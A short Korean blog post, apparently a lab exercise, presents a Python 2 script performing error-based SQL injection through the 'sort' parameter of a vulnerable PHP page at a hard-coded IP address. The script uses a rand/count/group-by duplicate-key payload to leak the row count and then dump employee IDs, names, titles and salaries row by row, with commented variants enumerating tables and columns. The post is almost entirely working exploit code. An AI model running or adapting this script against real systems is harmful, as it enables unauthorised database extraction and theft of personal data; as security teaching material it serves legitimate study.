[Python] 데이터 추출하기

 데이터 추출하기 


데이터 추출은 에러 메세지에 노출되는 데이터 길이에 제약을 받습니다 . 
여러 컬럼의 데이터를 결합하여 추출할 경우 일부가 누락되는 문제가 발생하지 않도록 주의해야합니다 . 


길이 초과로 식별자가 누락된다면 split 함수에서 에러가 발생하거나 불필요한 데이터가 같이 출력됩니다 . 



스크립트 코드 수정


데이터 추출은 "Employees" 테이블의 "EmployeesID", "FirstName", "Title", "Salary"를 대상으로 하며, 쿼리 수정으로 만으로 구현 가능합니다 . 

스크립트 코드 
#-*- coding: utf-8 -*-
import httplib
import urllib

def httpreq(query):

    headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}


    delims = "!~!~!"
    domain = "3.239.29.151"  # 가상머신 주소
    url = "/mysql_sort.php"  # 취약한 URL
    params = "sort=(select+1+from(select+count(*),concat('" +delims+ "',"+query+",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"
    conn = httplib.HTTPConnection(domain,"80")
    #conn = httplib.HTTPSCOnection(domain, "443")
    conn.request("GET",url + "?" + params,None,headers)
    #conn.request("POST",url,params,headers)
    response = conn.getresponse().read()
    return response.split(delims)[1]

#rcount = "(select+count(*)+from+information_schema.tables+where+table_type='base+table')"
#rcount = "(select+count(*)+from+information_schema.columns+where+table_name='Employees')"
rcount = "(select+count(*)+from+Employees)"
cnt = int(httpreq(rcount))


for i in range(0,cnt):
    #tname = "(select+table_name+from+information_schema.tables+where+table_type='base+table'+limit+1+offset+"+ str(i) + ")"
    cname = "(select+concat_ws(0x2c,EmployeeID,Firstname,Title,Salary)+from+Employees+limit+1+offset+" + str(i) + ")"
    print httpreq(cname)


결과













다음과 같이 파이썬을 이용한 SQL 인젝션 공격 실습을 완료하였습니다 .

댓글